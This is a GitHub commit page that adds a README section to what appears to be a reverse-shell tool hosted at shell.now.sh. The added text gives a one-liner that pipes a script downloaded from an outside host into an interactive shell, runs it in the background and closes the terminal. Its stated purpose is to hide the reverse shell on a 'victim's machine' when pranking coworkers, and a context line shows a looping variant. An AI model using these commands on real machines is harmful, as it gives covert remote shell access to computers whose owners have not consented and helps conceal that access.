Skip to content

Commit 2500b20

Browse files
authored
Add background process tip (#20)
1 parent 8395739 commit 2500b20

File tree

1 file changed

+12
-0
lines changed

1 file changed

+12
-0
lines changed

README.md

+12
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,18 @@ while true; do curl https://shell.now.sh/yourip:1337 | sh; done
6767

6868
Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.
6969

70+
### Running as a background process
71+
72+
The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.
73+
74+
The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.
75+
76+
Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.
77+
78+
```shell
79+
sh -c "curl https://shell.now.sh/localhost:1337 | sh -i &" && exit
80+
```
81+
7082
## License
7183

7284
MIT © Luke Childs

0 commit comments

Comments
 (0)